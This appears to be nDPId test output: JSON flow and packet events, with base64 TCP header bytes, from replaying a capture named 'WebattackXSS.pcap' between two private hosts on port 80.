+00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1708,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":119,"flow_packet_id":1,"flow_first_seen":1499347172098,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54362,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":119,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1708,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347172,"pkt_ts_usec":98409,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8dk5AAD4GT4KsEAABwKgKMtRaAFDNItnFAAAAAKACchAyrAAAAgQFtAQCCAoBOa+LAAAAAAEDAwc="} +00443{"flow_id":119,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1709,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347172,"pkt_ts_usec":98530,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ1FoQ75vBzSLZxqAScSAB9QAAAgQFtAQCCAoD44ECATmviwEDAwc="} +00432{"flow_id":119,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1710,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347172,"pkt_ts_usec":99279,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0dk9AAD4GT4msEAABwKgKMtRaAFDNItnGEO+bwoAQAOWg\/AAAAQEICgE5r4sD44EC"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1717,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":120,"flow_packet_id":1,"flow_first_seen":1499347173373,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54376,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":120,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1717,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347173,"pkt_ts_usec":373791,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8XK1AAD4GaSOsEAABwKgKMtRoAFDpcOxnAAAAAKACchACbwAAAgQFtAQCCAoBObDKAAAAAAEDAwc="} +00444{"flow_id":120,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1718,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347173,"pkt_ts_usec":373905,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ1GhwCsiK6XDsaKAScSBElAAAAgQFtAQCCAoD44JBATmwygEDAwc="} +00432{"flow_id":120,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1719,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347173,"pkt_ts_usec":374685,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0XK5AAD4GaSqsEAABwKgKMtRoAFDpcOxocArIi4AQAOXjmwAAAQEICgE5sMoD44JB"} +00432{"flow_id":117,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1723,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347173,"pkt_ts_usec":660570,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0pdhAAD4GIACsEAABwKgKMtQyAFAP+Q4BbrCVWoARAOXU5wAAAQEICgE5sRID431N"} +00433{"flow_id":117,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1724,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347173,"pkt_ts_usec":660819,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0F9JAAEAGrAbAqAoyrBAAAQBQ1DJusJVaD\/kOAoARAOPPrQAAAQEICgPjgogBObES"} +00433{"flow_id":117,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1725,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347173,"pkt_ts_usec":661532,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0pdlAAD4GH\/+sEAABwKgKMtQyAFAP+Q4CbrCVW4AQAOXPqwAAAQEICgE5sRID44KI"} +00432{"flow_id":118,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1729,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347174,"pkt_ts_usec":660544,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA03T1AAD4G6JqsEAABwKgKMtRAAFDvZ3AwPElc0IARAOX79AAAAQEICgE5sgwD436L"} +00433{"flow_id":118,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1730,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347174,"pkt_ts_usec":660744,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA031JAAEAG5IXAqAoyrBAAAQBQ1EA8SVzQ72dwMYARAOP2\/gAAAQEICgPjg4IBObIM"} +00433{"flow_id":118,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1731,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347174,"pkt_ts_usec":661501,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA03T5AAD4G6JmsEAABwKgKMtRAAFDvZ3AxPElc0YAQAOX2\/AAAAQEICgE5sgwD44OC"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1732,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":121,"flow_packet_id":1,"flow_first_seen":1499347174667,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54390,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":121,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1732,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347174,"pkt_ts_usec":667312,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8LxxAAD4GlrSsEAABwKgKMtR2AFATHZ0RAAAAAKACchAmyAAAAgQFtAQCCAoBObINAAAAAAEDAwc="} +00444{"flow_id":121,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1733,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347174,"pkt_ts_usec":667347,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ1HZkheFBEx2dEqAScSBaeAAAAgQFtAQCCAoD44OEATmyDQEDAwc="} +00432{"flow_id":121,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1734,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347174,"pkt_ts_usec":668115,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Lx1AAD4GlrusEAABwKgKMtR2AFATHZ0SZIXhQoAQAOX5fgAAAQEICgE5sg4D44OE"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1747,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":122,"flow_packet_id":1,"flow_first_seen":1499347177248,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54416,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":122,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1747,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347177,"pkt_ts_usec":248253,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8XzZAAD4GZpqsEAABwKgKMtSQAFC5seulAAAAAKACchAu\/wAAAgQFtAQCCAoBObSTAAAAAAEDAwc="} +00444{"flow_id":122,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1748,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347177,"pkt_ts_usec":248372,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ1JDtsXHRubHrpqAScSBGbgAAAgQFtAQCCAoD44YJATm0kwEDAwc="} +00432{"flow_id":122,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1749,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347177,"pkt_ts_usec":249122,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0XzdAAD4GZqGsEAABwKgKMtSQAFC5seum7bFx0oAQAOXldQAAAQEICgE5tJMD44YJ"} +00432{"flow_id":119,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1753,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347177,"pkt_ts_usec":660702,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0dlBAAD4GT4isEAABwKgKMtRaAFDNItnGEO+bwoARAOWbjAAAAQEICgE5tPoD44EC"} +00432{"flow_id":119,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1754,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347177,"pkt_ts_usec":660973,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0HbJAAEAGpibAqAoyrBAAAQBQ1FoQ75vCzSLZx4ARAOOWHwAAAQEICgPjhnABObT6"} +00432{"flow_id":119,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1755,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347177,"pkt_ts_usec":661715,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0dlFAAD4GT4esEAABwKgKMtRaAFDNItnHEO+bw4AQAOWWHQAAAQEICgE5tPoD44Zw"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1759,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":123,"flow_packet_id":1,"flow_first_seen":1499347178540,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54430,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":123,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1759,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347178,"pkt_ts_usec":540348,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8rRdAAD4GGLmsEAABwKgKMtSeAFA54BjBAAAAAKACchCAZAAAAgQFtAQCCAoBObXWAAAAAAEDAwc="} +00444{"flow_id":123,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1760,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347178,"pkt_ts_usec":540464,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ1J7RuWV+OeAYwqAScSC+2wAAAgQFtAQCCAoD44dMATm11gEDAwc="} +00432{"flow_id":123,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1761,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347178,"pkt_ts_usec":541064,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0rRhAAD4GGMCsEAABwKgKMtSeAFA54BjC0bllf4AQAOVd4wAAAQEICgE5tdYD44dM"} +00432{"flow_id":120,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1765,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347178,"pkt_ts_usec":661180,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0XK9AAD4GaSmsEAABwKgKMtRoAFDpcOxocArIi4ARAOXecAAAAQEICgE5tfQD44JB"} +00433{"flow_id":120,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1766,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347178,"pkt_ts_usec":661408,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0T+FAAEAGc\/fAqAoyrBAAAQBQ1GhwCsiL6XDsaYARAOPZSAAAAQEICgPjh2oBObX0"} +00432{"flow_id":120,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1767,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347178,"pkt_ts_usec":662171,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0XLBAAD4GaSisEAABwKgKMtRoAFDpcOxpcArIjIAQAOXZRgAAAQEICgE5tfQD44dq"} +00432{"flow_id":121,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1774,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347180,"pkt_ts_usec":661292,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Lx5AAD4GlrqsEAABwKgKMtR2AFATHZ0SZIXhQoARAOXzowAAAQEICgE5t+gD44OE"} +00432{"flow_id":121,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1775,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347180,"pkt_ts_usec":661598,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0aBxAAEAGW7zAqAoyrBAAAQBQ1HZkheFCEx2dE4ARAOPtygAAAQEICgPjiV4BObfo"} +00432{"flow_id":121,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1776,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347180,"pkt_ts_usec":662294,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Lx9AAD4GlrmsEAABwKgKMtR2AFATHZ0TZIXhQ4AQAOXtyAAAAQEICgE5t+gD44le"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1780,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":124,"flow_packet_id":1,"flow_first_seen":1499347181178,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54456,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":124,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1780,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347181,"pkt_ts_usec":178834,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8iI9AAD4GPUGsEAABwKgKMtS4AFBWujDmAAAAAKACchBIuAAAAgQFtAQCCAoBObhpAAAAAAEDAwc="} +00444{"flow_id":124,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1781,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347181,"pkt_ts_usec":178931,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ1LiEJRdhVrow56AScSAgTQAAAgQFtAQCCAoD44ngATm4aQEDAwc="} +00433{"flow_id":124,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1782,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347181,"pkt_ts_usec":179532,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0iJBAAD4GPUisEAABwKgKMtS4AFBWujDnhCUXYoAQAOW\/UwAAAQEICgE5uGoD44ng"} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1786,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":84,"flow_packet_id":6,"flow_first_seen":1499347107719,"flow_last_seen":1499347113642,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53692,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1786,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":84,"flow_packet_id":6,"flow_first_seen":1499347107719,"flow_last_seen":1499347113642,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53692,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1786,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":85,"flow_packet_id":6,"flow_first_seen":1499347110266,"flow_last_seen":1499347115643,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53718,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1786,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":85,"flow_packet_id":6,"flow_first_seen":1499347110266,"flow_last_seen":1499347115643,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53718,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1786,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":86,"flow_packet_id":6,"flow_first_seen":1499347111565,"flow_last_seen":1499347116643,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53732,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1786,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":86,"flow_packet_id":6,"flow_first_seen":1499347111565,"flow_last_seen":1499347116643,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53732,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1786,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":87,"flow_packet_id":6,"flow_first_seen":1499347114111,"flow_last_seen":1499347119643,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53758,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1786,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":87,"flow_packet_id":6,"flow_first_seen":1499347114111,"flow_last_seen":1499347119643,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53758,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1786,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":88,"flow_packet_id":6,"flow_first_seen":1499347115408,"flow_last_seen":1499347120644,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53772,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1786,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":88,"flow_packet_id":6,"flow_first_seen":1499347115408,"flow_last_seen":1499347120644,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53772,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1789,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":125,"flow_packet_id":1,"flow_first_seen":1499347182435,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54470,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":125,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1789,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347182,"pkt_ts_usec":435600,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA83IhAAD4G6UesEAABwKgKMtTGAFDgpGUsAAAAAKACchCJPgAAAgQFtAQCCAoBObmkAAAAAAEDAwc="} 